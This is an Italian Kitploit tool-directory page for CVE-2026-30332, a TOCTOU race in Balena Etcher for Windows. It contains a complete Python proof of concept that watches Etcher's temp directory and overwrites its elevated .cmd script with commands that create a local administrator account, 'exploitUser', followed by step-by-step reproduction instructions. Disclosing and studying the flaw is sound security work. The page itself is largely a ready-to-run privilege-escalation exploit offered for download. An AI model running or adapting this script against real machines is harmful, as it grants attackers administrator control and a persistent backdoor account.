Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-30332 — Balena Etcher versioni precedenti alla v2.1.4 su Windows sono affette da una condizione di gara Time-of-Check to Time-of-Use (TOCTOU) nella gestione dei file temporanei. | Kitploit
Strumenti/GitHubGitHub/b1tbreaker/cve-2026-30332
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploit
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcher versioni precedenti alla v2.1.4 su Windows sono affette da una condizione di gara Time-of-Check to Time-of-Use (TOCTOU) nella gestione dei file temporanei.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-30332

Descrizione

È stata identificata una vulnerabilità Time-of-Check to Time-of-Use (TOCTOU) in Balena Etcher per Windows nelle versioni precedenti alla 2.1.4.
L'applicazione crea un file .cmd temporaneo in una directory scrivibile dall'utente e successivamente lo esegue con privilegi elevati tramite UAC.
Ciò consente a un'applicazione o processo in esecuzione nel contesto dell'utente corrente con integrità media di elevare i privilegi a integrità alta iniettando comandi dannosi nello script temporaneo prima della sua esecuzione.


Analisi Tecnica

Quando un utente avvia il processo di flashing, Etcher esegue la seguente sequenza:

  1. Un file .cmd temporaneo viene creato nella directory temporanea scrivibile dall'utente:
    C:\Users\<username>\AppData\Local\Temp\etcher\

  2. Il file viene popolato con le variabili d'ambiente necessarie e il comando per avviare etcher-util.exe.

  3. Lo script viene eseguito con privilegi elevati tramite UAC di Windows.

La vulnerabilità deriva dall'intervallo di tempo tra la creazione del file e la sua esecuzione. Durante questa breve finestra, un'applicazione in esecuzione nello stesso contesto utente può monitorare la directory temporanea e sostituire il file .cmd legittimo con una versione dannosa. Poiché Etcher non valida l'integrità del file prima di eseguirlo, il codice dannoso viene eseguito con privilegi elevati.


Proof of Concept

Il seguente script Python monitora la directory temporanea di Etcher e, una volta rilevato il file .cmd, vi aggiunge un payload dannoso che crea un nuovo account amministratore locale.

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

Passaggi per la Riproduzione

  1. Aprire un prompt dei comandi ed eseguire python exploit.py. Lo script inizia a monitorare la directory temporanea per qualsiasi file .cmd creato da Etcher.

  1. Avviare Balena Etcher, selezionare un file immagine valido e il dispositivo USB/SD di destinazione, quindi fare clic su Flash per avviare il processo di flashing.

  1. Quando appare il prompt UAC, accettarlo per consentire a Etcher di continuare con privilegi elevati.

  2. Lo script exploit rileva e sostituisce il file .cmd temporaneo appena prima dell'esecuzione. Una volta che lo script viene eseguito con privilegi elevati, i comandi iniettati vengono eseguiti aggiungendo un nuovo utente amministratore locale (exploitUser).

Riferimenti

  • Record CVE NVD NIST
  • Issue GitHub – Report di Vulnerabilità
Scarica lo strumento